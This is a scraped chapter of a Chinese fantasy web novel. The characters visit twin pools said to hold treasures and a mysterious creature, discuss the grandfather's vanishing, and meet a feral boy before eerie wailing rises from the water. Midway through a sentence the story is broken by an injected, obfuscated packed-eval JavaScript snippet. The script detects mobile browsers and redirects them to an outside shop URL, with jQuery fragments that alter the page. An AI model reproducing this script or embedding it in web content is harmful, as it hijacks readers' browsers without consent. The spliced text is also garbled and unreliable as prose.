18.笑哭潭(五)

作品:《白肉骨

    “两位等等——”


    “嗯?怎么还不走?”


    小哥将金豆子塞进怀中,又掏出来一个缙云红长方形盒子,从盒子里头拿出来一张折叠的微黄纸,他将这纸张打开来,里头好像印了几行黑字。


    白灼和秦狸疑惑地看着他。


    “两位放心,不是卖身契。”小哥笑着打开了个姑娘家用的胭脂,递给秦狸一支鹅毛笔,“烦请在上面签个大名,按个手印,一人即可。”


    秦狸接过一看,这张纸最上边印了五个大字:免责同意书。


    其下的几行字写的是——


    百晓生魏如风,谨告买方: 消息一经售出,视为买者信任,概不退还。然天机难测,万卦无常,未敢称尽善,纳者需合天时地利而行,莫痴莫贪,审慎用之,吉凶休咎,价定离手,生死各凭,勿责卖主,勿责卖主,勿责卖主!!!


    如风敬上。


    秦狸:“哈,理解,理解,这字里行间尽是魏兄对小命的珍重。”


    秦狸郑重地在署名处签了三个龙飞凤舞的字:狸大爷。


    随后又用大拇指沾了胭脂按了手印,交还给魏如风。


    魏如风看了眼,也没说啥,将这免责书折好放回盒子里。


    白灼道:“不过一张废纸,在这江湖中你觉得有用?”


    魏如风道:“这就看魏某遇到的是不是贵人了,有用没用,先求个心安。两位,请吧。”


    魏如风果然如风,极其熟练地找了条最短的路,很快就带着两人来到了一对“双胞潭”边。


    双胞潭大小一致,两个圆圈互相贴着,只是潭水中的情况不同,一个咕噜咕噜冒着点热气,一个结了大半面的冰,还有好些人已经在这两潭的附近,或站或坐。


    白灼:“你接的单子还挺多的。”


    魏如风打了个哈哈,“那是那是。”


    他又正色道:“两位,这口冒热气的潭就是七成能寻到宝的地方,至于旁边这口结冰的,就是那个感生物出现过的地方,不过我要提醒两位,这两个潭可能是互通的,谁也不知道下去旁边那口会不会遇见这怪物,若要保险起见,两位可去西斜方八百五十米处和东斜方千九百米处的潭中找,但近日去那边的人多,可能会走空,鉴于两位给的多,某便再说几句,这感生怪物在夜间有个习惯,会在潭中活动两个时辰,再睡上几个时辰,至于白日是醒还是睡,某就不知道了,在下还要做生意,两位告辞!”


    一卷橘香风拂过两人脸颊,此魏如风带着他的六把宝刀迅速消失了。


    有两个人从西斜方走过来,手里分别拿着棵生了六片叶子,叶片如龟背,整体长得像缩小型树木的植物,低头交谈着。


    “晦气!沾老子一身水,也没见到养神芝,九穗草的鸟影。”


    “此言差矣,这不是也找到了萆荔么,还是有点用的。”


    闻声的一些人盯着那口冒热气的潭心头更痒,这世间确实有一些天生地养的好东西,能够帮助他们更好地修炼异时身或应时身,虽然离开了原地会损失一些效果,但找到后养在自己的房间里,修炼之时便会像仙人吸风饮露,食蟠桃嘉果一般,对身体大有裨益。


    不过这萆荔只能起到安神不至于走火入魔之效,修异时身的基本用不上,应时身的强者则很少,如过江之鲫的璀璨时代已经过去,剩下的也基本不屑出现在这里,所以就没有人抢夺那两人手上的东西。


    秦狸说:“看来魏如风说的不错,确实有天材地宝,就是不知道这口潭有没有了。”


    白灼却盯着那结冰的冷潭,道:“这世间真的有感生物么?”


    秦狸说:“难说,传闻中确实有,不过没有人能描述出是什么模样。世间既有感生人,想来感生物也是真的,我家那突然消失的开阳老头就是。”


    “突然消失?”白灼道,“你祖父难道不是被叛徒给杀了么?”


    “不是。”秦狸抬眸望着一袖云,叹道:“古人都说世事一场大梦,果真如此。那年红雀刚建成,偃鬼那叛徒也刚携兵入大野泽,我祖父在幄帐中刚喝了口茶,便突然闭上双眼,整个人浮在空中,我听到一阵奇怪的乐声,祖父的身躯就被强光包裹,牙齿,指甲落了下来,随后他整个人变成了七彩的虹光,穿过幄帐顶,飞到天上而后不见了,这事,就只有我和父亲亲眼见到,说出去也没有人信的。”


    白灼道:“也许这就是感生人的奇特之处吧。”


    秦狸:“也是。毕竟开阳老头还在我太奶肚子里的时候待了十五个月才出来,而且刚出生就会讲话,什么都听得懂,简直是神仙转世,这还得归功于我太奶,怀孕的时候踩到了一个巨大的脚印,应是神迹吧。若是他还在,偃无绝必不会是他的对手。”


    白灼:“这么说,那感生物是不是也?”


    秦狸:“是,感生物应该也是某种生物涉及到神迹生出来的未能转成人身的怪物,谁也不知道它战力如何,但应是同感生人一般神秘莫测,不过罕见之物,大多恐怖异常,没人敢轻易招惹。”


    泣生如叶片般从两人头顶处落下来,又用阳春三月的脸看着秦狸道:“阿弥陀佛,然也,非也——”


    白灼:“你这和尚,是不能说人话吗?”


    泣生笑眯眯:“阿弥陀佛,然也。”


    白灼:找上秦狸的果然都不是什么正常人……


    暮色渐笼,观峯坛的地面虫鸣渐起,愈来愈烈,仿佛此时才拉开了一天的正序。


    秦狸和白灼选了块没什么人的地方坐着,很显然对潭中的宝贝没什么兴趣。


    曲家和几个不明身份的人也同秦狸他们一样,目标不在那些天材地宝,而在娄黑手携带的暗骨线索上。


    “都说娄黑手是睚眦必报之人,管它什么怪物,等他伤好必会来报复,怎过了好些天还不见人影。”曲家那个高瘦个子苍蝇似的搓着长手,嘴里喃喃道。


    秦狸脚边突然溅起了大片碎石,赶紧避开。


    “他是睚眦必报,但他报的,都是狼心狗肺的东西!”


    是那小狼崽,他一拳捶碎了大黑石,此刻正狠狠盯着那位搓长手的高瘦男子,举着一块更大的黑石就要扔过去。


    亏他们离得有些远,秦狸赶紧摁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011584|192221||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住小狼崽的手道:“小鬼你不要命了,没看到曲家人多吗,你一个没修炼的人上去,就算有蛮力,也一下就变成片了,我有飞腿也来不及救你啊,你来这肯定有别的正事,别为了不相关的人搭上自己的小命。”


    小孩嗷一下咬住了秦狸的手臂,留下了两排深深的牙印后才松开,目光又警惕地盯着他。


    见秦狸没什么动作,小孩开口:“我咬你,你不生气?”


    秦狸嘶了声,这小鬼,咬人够疼的。


    “本公子不跟冲动的小娃娃计较,再说,生气会给本公子俊美的容颜添乱,亏本买卖,不做。”


    “那你去给他两拳。”


    秦狸:“你这是什么话,本公子没义务这样做。”


    小孩:“你们救了我,自然要负责到底。”


    秦狸“……”


    “小鬼,那娄黑手,是你爷爷吧?或者说,他养过你。”


    小孩:“你怎么知道?”


    秦狸:“你这么熟悉那条甬道,结合你今天的反应,和那甬道上遗落的桐子,本公子就想明白了。娄黑手制墨要用桐子榨油,增加墨的出烟量和黑度是吧,那竹筒的松油原也不是做蜡烛的,而是加些韧性,他来回都从甬道出入,你也就知道了。话说,你爷真藏了很多宝贝?”


    小孩:“是又怎样?别想打我爷的主意。”


    秦狸:“呵,哪敢。开阳老头若真把暗骨的线索托付给了他,那他两人就是有交情的,本公子合该敬着长辈,总不可能为敌。”


    “不过你爷去哪儿了?怎会把你一孩子丢在这,巫家那群人抓你就是为了威胁娄黑手的?还是说你知道关于暗骨的东西?”


    小孩又哼:“我不知道,你问题太多了!”


    秦狸:“也是,娄黑手应该也不会把这么重要的线索交给你个小鬼,毕竟知道的越多就越危险。”


    这时,天色完全暗了下来,坐立潭边的人头都看不清楚了,潭水也变得黑咕隆咚,好像靠近一些就会把人吞进去。


    有人突然叫了起来,“怪物!快,点火把!”


    火光齐齐亮起,将双胞潭照得通明。


    秦狸和白灼也打开火折子凑过去。


    怪物并没有出现,而是它的声音从潭底传了出来。


    白灼道:“这就是感生物的声音么?太怪了。”


    “啊灼别怕,我在呢。”秦狸特意贴近她。


    白灼撇撇嘴:谁说我怕了……


    潭底传来的声音确实怪,若是胆小一些的,早就被吓个半死。


    这声音一会儿像是子夜时分猫叫出来的小孩般的哭声,一会儿变成像装了千年老生锈铁片般高高卡着半口气又突然急促拔尖的鸮笑声。


    瘆人。


    太瘆人了。


    几乎所有听着这怪声的人都起了鸡皮疙瘩,虽然多是男子,但又哭又笑的怪声在黑夜中持续不停地响,十分阳刚之气都要减去六分。


    过了两个时辰之后,这哭笑声突然停下来了。


    这感生怪物真睡了?


    还是说,它就要,出来了——